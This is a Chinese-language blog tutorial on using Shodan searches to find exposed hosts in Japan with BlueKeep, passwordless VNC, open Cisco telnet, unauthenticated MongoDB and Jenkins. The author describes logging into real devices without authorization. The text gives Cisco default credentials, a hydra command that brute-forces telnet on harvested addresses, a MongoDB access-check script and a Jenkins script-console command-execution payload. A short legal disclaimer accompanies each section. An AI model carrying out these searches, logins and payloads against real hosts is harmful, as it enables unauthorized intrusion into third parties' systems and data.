[1. 概要](#1. 概要)
[2. 原理](#2. 原理)
[3. 搜索命令](#3. 搜索命令)
[1. 概要](#1. 概要)
[2. 原理](#2. 原理)
[3. 搜索命令](#3. 搜索命令)
[1. 概要](#1. 概要)
[2. 原理](#2. 原理)
[四、MongoDB 未授权访问](#四、MongoDB 未授权访问)
[1. 概要](#1. 概要)
[2. 原理](#2. 原理)
[3. 搜索命令](#3. 搜索命令)
[1. 概要](#1. 概要)
[2. 原理](#2. 原理)
[3. 搜索命令](#3. 搜索命令)
学习视频:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频
导语
从shodan基础介绍讲到shodan在服务器上部署了很多的扫描器,其中就包括漏洞扫描器,是可以通过vuln来查找的,在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次以下几种漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合脚本批量和手工的方式验证,帮助更高效地识别网络中的高危资产。
Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果
一、CVE-2019-0708(3389漏洞)
1. 概要
CVE-2019-0708漏洞是通过检査用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。
2. 原理
存在漏洞的远程桌面四服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。
3. 搜索命令
用十六进制制字符串(类似于指纹的方式去找)
shodan search --limit 10 --fields ip_str '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' has_vuln:True port:3389 country:jp
-
参数分析
-
-limit 10 #显示10条资产
-
--fields ip_str #只显示ipv4地址
-
'"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' #CVE-2019-0708指纹特征
-
has_vuln:True #只搜索存在CVE漏洞的资产
-
port:3389 #再次精准,只搜索开放了3389端口的资产
-
country:jp #只搜索小樱花的资产
-
精准打击,后面还可以使用MSF的攻击模块对CVE-2019-0708深度利用,这里就不演示
提示:该实验仅供学习参考,请勿违反网络安全法!
二、vnc空密码(未授权访问)
1. 概要
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。
2. 原理
VNC(Virtual Network Computing)是一种轻量级的远程控制软件,允许用户通过网络连接并完全控制远程计算机。由于其设计特性,VNC容易受到未授权访问的攻击,尤其是当认证被禁用时,即无需用户密码登录就可被利用,造成恶意用户直接控制目标主机。
3. 搜索命令
shodan search --limit 50 --fields ip_str "authentication disabled" port:5900 country:jp
-
参数分析
-
-limit 50 #显示50条资产
-
--fields ip_str #只显示ip地址
-
"authentication disabled" #身份认证被禁用
-
port:5900 #再次精准,只搜索开放了5900端口的资产
-
country:jp #只搜索小樱花的资产
-
可以看到我成功登录了一些设备,命令搜索不是特别精准,所以需要多试几个。
提示:该实验仅供学习参考,请勿违反网络安全法!
三、思科网络设备未授权
1. 概要
思科(Cisco)是一家全球领先的网络解决方案和技术公司,成立于1984年,总部位于美国加利福尼亚州。思科专注于网络硬件、软件和服务,尤其以其路由器、交换机、防火墙和无线解决方案闻名。
2. 原理
思科设备在未获得授权的情况下,会导致未授权登录,如果搜索到的设备如仍需登录也可以使用弱口令进行尝试。
3.搜索命令
shodan search --fields ip_str --limit 100 "cisco -authorized port:23" country:jp
-
参数分析
-
-limit 100 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"cisco -authorized port:23" #排除已经授权的cisco设备
-
port:23 #只搜索开放了23端口的资产
-
country:jp #只搜索小樱花的资产
-
搜索到的设备如仍需登录,我们也可以使用弱口令进行尝试。
思科设备常见的默认账号和密码如下:
账户:admin/cisco 密码:cisco
讲解:为什么要搜索一百条呢因为命中率是比较低的,我们后续可以拿搜索到的资产进行弱口令的尝试。
有挺多工具的,我们这里使用kali自带的九头蛇hydra进行一个批量检测。
命令:hydra -s 23 -V -L cisco_name.txt -P cisco_pass.txt -t 16 -M cisco_ip.txt telnet
在文件所在目录运行命令,一下子就可以跑出来不少,但是九头蛇这个工具是有误报率的,可以多多尝试登录。
我这边也是成功登录一个
提示:该实验仅供学习参考,请勿违反网络安全法!
四、MongoDB 未授权访问
1. 概要
MongoDB 是一个开源的 NoSQL 数据库,主要用于处理大量的非结构化数据。它采用文档存储模型,使用 BSON(类似于 JSON 的二进制格式)来存储数据,具有灵活性和高性能。
2. 原理
MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。
3. 搜索命令
shodan search --fields ip_str --limit 100 "MongoDB Server Information -authentication" port:27017 country:jp
-
参数分析
-
-limit 100 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"MongoDB Server Information -authentication" #排除已经授权的cisco设备
-
port:27017 #只搜索开放了27017 端口的资产
-
country:jp #只搜索小樱花的资产
-
讲解:搜索100条也是因为命中率的问题,不过MongoDB未授权的命中率很高,我们可以先拿脚本筛选一下。
可以发现成功了都是比较高的,以下是文中用于测试脚本的核心代码,可以按需魔改。
python
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure
def main(ip, port=27017):
try:
# 创建 MongoDB 客户端,不提供认证信息
client = MongoClient(ip, port, serverSelectionTimeoutMS=5000)
# 尝试连接到服务器
client.admin.command('ping')
print(f"MongoDB数据库连接成功!IP地址: {ip}, 端口号: {port}")
except ConnectionFailure:
print(f"{ip}无法连接到MongoDB数据库。")
if __name__ == "__main__":
ip='127.0.0.1'
main(ip)
测试连接
大部分的数据库都已经被黑客光临过了,遇到还有数据的也不要去乱动。
提示:该实验仅供学习参考,请勿违反网络安全法!
五、Jenkins组件漏洞
1. 概要
Jenkins 是一个开源的自动化服务器,主要用于持续集成(CI)和持续交付(CD)过程。它允许开发人员通过自动构建、测试和部署代码,提高软件开发的效率和质量。
2. 原理
在默认配置下Jenkins,存在未授权访问造成的RCE漏洞。
3. 搜索命令
shodan search --limit 10 --fields ip_str,port port:8080 http.title:"Dashboard" "X-Jenkins" OR "Set-Cookie:JSESSIONID"
-
参数分析
-
-limit 10 #显示100条资产
-
--fields ip_str #只显示ip地址
-
"X-Jenkins" OR "Set-Cookie:JSESSIONID" #框架特征
-
port:8080 #8080端口是Jenkins的默认端口
-
http.title:"Dashboard" #通常标题都是Dashboard
-
访问/script可以命令执行:println "ifconfig".execute().text
提示:该实验仅供学习参考,请勿违反网络安全法!
总结
即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。